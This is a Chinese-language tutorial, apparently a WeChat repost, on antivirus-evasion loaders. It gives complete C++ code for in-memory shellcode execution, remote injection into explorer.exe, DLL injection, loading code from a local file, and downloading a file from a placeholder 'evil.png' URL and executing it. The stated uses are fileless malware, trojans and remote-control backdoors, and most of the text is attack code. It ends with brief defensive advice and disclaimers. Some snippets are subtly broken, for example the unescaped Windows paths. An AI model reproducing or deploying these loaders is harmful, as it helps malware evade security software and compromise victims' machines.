免杀技术中的加载器类型入门指南 🚀
本文将介绍几种常见的加载器技术,帮助大家了解如何利用这些技术在内存中执行代码,从而达到绕过杀毒软件检测的目的。
本文仅供安全研究和技术学习使用,严禁用于非法用途。
一、内存加载技术 🧠
技术特点 ✨
内存加载技术是指将代码直接注入到内存中执行,而不是从磁盘加载。通常用来执行加密或混淆后的代码,躲避杀毒软件的监控。
优点 💡
-
• 隐蔽性高:代码直接在内存中执行,不会在磁盘上留下痕迹。 -
• 速度快:直接从内存中执行,避免了磁盘I/O的开销。
劣势 💣
-
• 权限要求高:需要较高权限(如管理员权限)才能操作内存。 -
• 易被检测:现代杀毒软件具备内存扫描功能,可能会检测到异常内存操作。
适用范围 🎯
适用于需要隐藏执行过程的场景,例如无文件恶意软件。
人话翻译 📝
就像把代码直接“塞”进电脑的临时存储区(内存)执行,这样杀毒软件就找不到痕迹,但需要较高权限且容易引起注意。
C++示例代码 🧑💻
#include<windows.h>
#include<iostream>
intmain()
{
// 要执行的代码(简单的MessageBox弹窗)
constchar shellcode[] = "..."; // 这里需要实际的机器码
// 分配内存
LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pMemory == NULL)
{
std::cout << "内存分配失败!" << std::endl;
return-1;
}
// 将代码复制到内存中
memcpy(pMemory, shellcode, sizeof(shellcode));
// 创建线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
if (hThread == NULL)
{
std::cout << "创建线程失败!" << std::endl;
VirtualFree(pMemory, 0, MEM_RELEASE);
return-1;
}
// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
// 释放内存
VirtualFree(pMemory, 0, MEM_RELEASE);
return0;
}
二、进程注入技术 👶
技术特点 ✨
进程注入技术通过将代码注入到其他进程中执行,借用目标进程的合法性来隐藏自身。
优点 💡
-
• 隐蔽性高:利用已有进程执行代码,不容易引起怀疑。 -
• 权限提升:可以借用目标进程的权限执行更高权限的操作。
劣势 💣
-
• 复杂性高:涉及进程间通信和权限管理,编程难度较大。 -
• 易被检测:异常的进程行为可能会被安全软件发现。
适用范围 🎯
适用于需要隐藏自身进程或进行权限提升的恶意软件场景。
人话翻译 📝
就像偷偷“借用”别人的合法进程,将自己的代码塞进去执行,使得杀毒软件难以区分真假。
C++示例代码 🧑💻
#include<windows.h>
#include<tlhelp32.h>
#include<iostream>
#include<string>
// 获取指定进程名称的进程ID(此处为 explorer.exe)
DWORD GetProcessIdByName(const std::wstring& processName)
{
DWORD processId = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe))
{
do
{
// 不区分大小写比较进程名称
if (!_wcsicmp(pe.szExeFile, processName.c_str()))
{
processId = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
}
return processId;
}
intmain()
{
// 示例 shellcode:此处为简单的 NOP 填充和 RET 指令,仅作演示用途
unsignedchar shellcode[] = {
0x90, 0x90, 0x90, 0xC3// NOP, NOP, NOP, RET
};
SIZE_T shellcodeSize = sizeof(shellcode);
// 获取 explorer.exe 进程ID
DWORD dwProcessId = GetProcessIdByName(L"explorer.exe");
if (dwProcessId == 0)
{
std::cerr << "未找到 explorer.exe 进程!" << std::endl;
return-1;
}
std::wcout << L"找到 explorer.exe 进程,进程ID: " << dwProcessId << std::endl;
// 以所需权限打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, dwProcessId);
if (hProcess == NULL)
{
std::cerr << "打开 explorer.exe 进程失败!" << std::endl;
return-1;
}
// 在目标进程中分配内存,用于存放 shellcode
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteMemory == NULL)
{
std::cerr << "在目标进程中分配内存失败!" << std::endl;
CloseHandle(hProcess);
return-1;
}
// 将 shellcode 写入目标进程内存
if (!WriteProcessMemory(hProcess, pRemoteMemory, shellcode, shellcodeSize, NULL))
{
std::cerr << "写入 shellcode 到目标进程内存失败!" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return-1;
}
// 在目标进程中创建远程线程执行注入的 shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
if (hThread == NULL)
{
std::cerr << "创建远程线程失败!" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return-1;
}
std::cout << "成功注入 shellcode 到 explorer.exe,并创建远程线程执行!" << std::endl;
// 等待远程线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 清理资源
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return0;
}
三、DLL注入技术 💉
技术特点 ✨
DLL注入通过将一个DLL文件加载到目标进程中,实现代码的动态加载和执行。
优点 💡
-
• 隐蔽性高:利用系统的合法DLL加载机制,不容易被检测。 -
• 灵活性高:可实现复杂功能,如HOOK系统函数。
劣势 💣
-
• 依赖DLL文件:DLL文件可能会被杀毒软件检测到。 -
• 权限问题:操作目标进程时需要足够权限。
适用范围 🎯
适用于需要动态加载代码、实现木马或后门功能的场景。
人话翻译 📝
就像在别人的程序中偷偷加载一个“特洛伊木马”,利用合法的机制执行自己的代码。
C++示例代码 🧑💻
#include<windows.h>
#include<iostream>
intmain()
{
// 目标进程ID(假设为 explorer.exe)
DWORD dwProcessId = 0x1234;
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, dwProcessId);
if (hProcess == NULL)
{
std::cout << "打开进程失败!" << std::endl;
return-1;
}
// 分配内存到目标进程
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteMemory == NULL)
{
std::cout << "内存分配失败!" << std::endl;
CloseHandle(hProcess);
return-1;
}
// 将DLL路径写入目标进程内存
constchar* dllPath = "C:\Path\To\Evil.dll";
WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);
// 获取LoadLibrary函数地址
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
if (hKernel32 == NULL)
{
std::cout << "获取 kernel32.dll 句柄失败!" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return-1;
}
FARPROC pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibrary == NULL)
{
std::cout << "获取 LoadLibrary 函数地址失败!" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return-1;
}
// 在目标进程中调用 LoadLibrary 加载 DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMemory, 0, NULL);
if (hThread == NULL)
{
std::cout << "注入失败!" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return-1;
}
// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
// 释放内存并关闭句柄
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return0;
}
四、本地文件分离加载技术 📁
技术特点 ✨
本地文件分离加载技术通过读取本地文件(如DLL、TXT、图片等)中的代码或数据,再将其加载到内存中执行。
优点 💡
-
• 隐蔽性高:代码不会直接出现在内存中,而是从文件中读取。 -
• 灵活性高:支持多种文件格式作为载体。
劣势 💣
-
• 文件风险:本地文件可能会被杀毒软件检测到。 -
• 执行速度慢:从文件中读取和加载代码会增加延迟。
适用范围 🎯
适用于需要隐藏代码来源、分散存储的场景,例如恶意软件的分发。
人话翻译 📝
就像把代码藏在一张“藏宝图”中,只有在需要时才依据这张图找到并执行代码。
C++示例代码 🧑💻
#include<windows.h>
#include<fstream>
#include<iostream>
intmain()
{
// DLL文件路径
constchar* dllPath = "C:\Path\To\Evil.dll";
// 读取DLL文件内容
std::ifstream file(dllPath, std::ios::binary | std::ios::ate);
if (!file.is_open())
{
std::cout << "打开文件失败!" << std::endl;
return-1;
}
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = newchar[fileSize];
file.read(buffer, fileSize);
file.close();
// 分配内存并加载DLL
LPVOID pMemory = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pMemory == NULL)
{
std::cout << "内存分配失败!" << std::endl;
delete[] buffer;
return-1;
}
memcpy(pMemory, buffer, fileSize);
delete[] buffer;
// 创建线程执行DLL代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
if (hThread == NULL)
{
std::cout << "执行失败!" << std::endl;
VirtualFree(pMemory, 0, MEM_RELEASE);
return-1;
}
// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
// 释放内存
VirtualFree(pMemory, 0, MEM_RELEASE);
return0;
}
五、网络文件分离加载技术 🌐
技术特点 ✨
网络文件分离加载技术通过从网络下载文件(如图片、TXT等)中的代码或数据,再加载到内存中执行,从而实现动态更新和远程控制。
优点 💡
-
• 隐蔽性高:代码不在本地存储,难以被检测。 -
• 灵活性高:可通过更新网络文件实现动态升级。
劣势 💣
-
• 依赖网络:需要稳定的网络连接支持下载操作。 -
• 被检测风险:网络请求可能被防火墙或入侵检测系统(IDS)捕捉。
适用范围 🎯
适用于需要远程更新、动态分发代码的场景,例如远程控制木马。
人话翻译 📝
就像从网上“快递”过来一个装有代码的“包裹”,然后在本地执行其中的代码。
C++示例代码 🧑💻
#include<windows.h>
#include<winhttp.h>
#include<iostream>
intmain()
{
// 网络文件URL
constchar* url = "http://example.com/evil.png";
// 初始化 WinHttp 会话
HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession)
{
std::cout << "初始化 WinHttp 会话失败!" << std::endl;
return-1;
}
// 连接目标主机
HINTERNET hConnect = WinHttpConnect(hSession, L"example.com", INTERNET_DEFAULT_HTTP_PORT, 0);
if (!hConnect)
{
std::cout << "连接失败!" << std::endl;
WinHttpCloseHandle(hSession);
return-1;
}
// 创建 HTTP GET 请求
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/evil.png", NULL, WINHTTP_NO_REFERER, NULL, 0);
if (!hRequest)
{
std::cout << "创建请求失败!" << std::endl;
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
// 发送请求
if (!WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
{
std::cout << "发送请求失败!" << std::endl;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
// 接收响应
if (!WinHttpReceiveResponse(hRequest, NULL))
{
std::cout << "接收响应失败!" << std::endl;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
// 获取可用数据大小
DWORD dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
std::cout << "查询数据大小失败!" << std::endl;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
// 分配缓冲区读取数据
char* buffer = newchar[dwSize];
DWORD dwDownloaded = 0;
if (!WinHttpReadData(hRequest, buffer, dwSize, &dwDownloaded))
{
std::cout << "读取数据失败!" << std::endl;
delete[] buffer;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
// 分配内存并加载下载的代码
LPVOID pMemory = VirtualAlloc(NULL, dwDownloaded, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pMemory == NULL)
{
std::cout << "内存分配失败!" << std::endl;
delete[] buffer;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
memcpy(pMemory, buffer, dwDownloaded);
delete[] buffer;
// 执行下载的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
if (hThread == NULL)
{
std::cout << "执行代码失败!" << std::endl;
VirtualFree(pMemory, 0, MEM_RELEASE);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return-1;
}
WaitForSingleObject(hThread, INFINITE);
// 清理资源
VirtualFree(pMemory, 0, MEM_RELEASE);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return0;
}
六、总结与防御建议 🔍
在本文中,我们详细介绍了五种加载器技术:
-
1. 内存加载技术:直接将代码注入内存执行,速度快但权限要求高。 -
2. 进程注入技术:通过注入合法进程来隐藏自身,适合权限提升但复杂度较高。 -
3. DLL注入技术:利用系统DLL加载机制进行注入,隐蔽性较好,但需要额外的DLL文件。 -
4. 本地文件分离加载技术:从本地文件中读取代码执行,适用于代码分散存储,但存在文件被查杀风险。 -
5. 网络文件分离加载技术:通过网络下载代码文件后执行,便于动态更新,但依赖网络且容易被防火墙检测。
防御建议
-
• 行为监控:加强内存和进程行为监控,及时检测异常内存分配和进程注入行为。 -
• 完整性校验:对关键系统文件进行完整性校验,防止被恶意代码篡改。 -
• 网络监控:对异常网络流量进行监控,及时发现从非信任源下载的文件。 -
• 用户权限管理:最小化用户权限,限制高权限程序的执行,减少免杀技术的利用风险。
免责声明: 本文仅用于技术交流和研究目的,请勿用于非法行为!
原文始发于微信公众号(苍夜安全):免杀-加载器入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论